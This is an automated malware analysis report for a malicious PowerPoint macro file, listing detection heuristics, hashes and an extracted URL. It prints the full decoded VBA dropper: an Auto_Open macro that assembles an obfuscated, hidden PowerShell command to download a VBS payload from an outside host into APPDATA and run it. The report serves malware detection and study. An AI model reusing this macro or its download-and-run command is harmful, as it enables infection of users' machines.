Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c3ebe36954759db4…

MALICIOUS

Office (OOXML)

8.9 KB First seen: 2021-01-11
MD5: d3e7074b5193ec629c36c9d2eb01c746 SHA-1: ef49d59047600ad6f3a411727d9e023a2681c196 SHA-256: c3ebe36954759db4a20364bf39c036d7e188f7d9ffc77d888e7e2bbc7412e411
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objqcydwyqnozj = GetObject("new:" & OUTLOOK)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://c.top4top.io/p_1832dqk101.jpg Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1388 bytes
SHA-256: 160e5c721a362f85c5108f874cf32eba29f077d4286061a49bf7b6285d3cfc0f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"
Sub Auto_Open()
rQQhFuWy
End Sub



'------------------------------


Public Sub rQQhFuWy()

On Error Resume Next






  

  Dim lll As String
  lll = "c"
  

'a = Left("EHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1)
b = Left("PHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1)
'Right function
c = Left("OHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1)
'Mid function
q = Mid("EHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1, 11)
'Split function
d = Split("EHjsjIDMxu LhMLhJOHi YHHhhfBpzt", " ")
For Each wrd In d
strg = strg & wrd & ", "
Next


a = "#|Pandorinha|#-windowstyle#|Pandorinha|#hidden#|Pandorinha|#$r='KEX'.replace('K','I');#|Pandorinha|#sal#|Pandorinha|#D#|Pandorinha|#$r;'(&(GCM'+'#|Pandorinha|#*W-O*)'+#|Pandorinha|#'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://c.top4top.io/p_1832dqk101.jpg'',$env:APPDATA+''\\''+''recom.vbs'')'|D;#|Pandorinha|#start-process($env:APPDATA+'\\'+'recom.vbs')"

a = Replace(a, "#|Pandorinha|#", " ")



bolota = b & c & "wershell" & a
    If LYSC = 0 Then
641:
      qcydwyqnozj (bolota)
    Else
        
    End If




End Sub




Sub qcydwyqnozj(eaoasunlkm As String)
    Const OUTLOOK = _
    "{0006F03A-0000-0000-C000-000000000046}"
    Set objqcydwyqnozj = GetObject("new:" & OUTLOOK)
    objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 18432 bytes
SHA-256: 306733a5dab45139c433bc8e7b30328607d40542b9b1117d7e60591f49a78e6b

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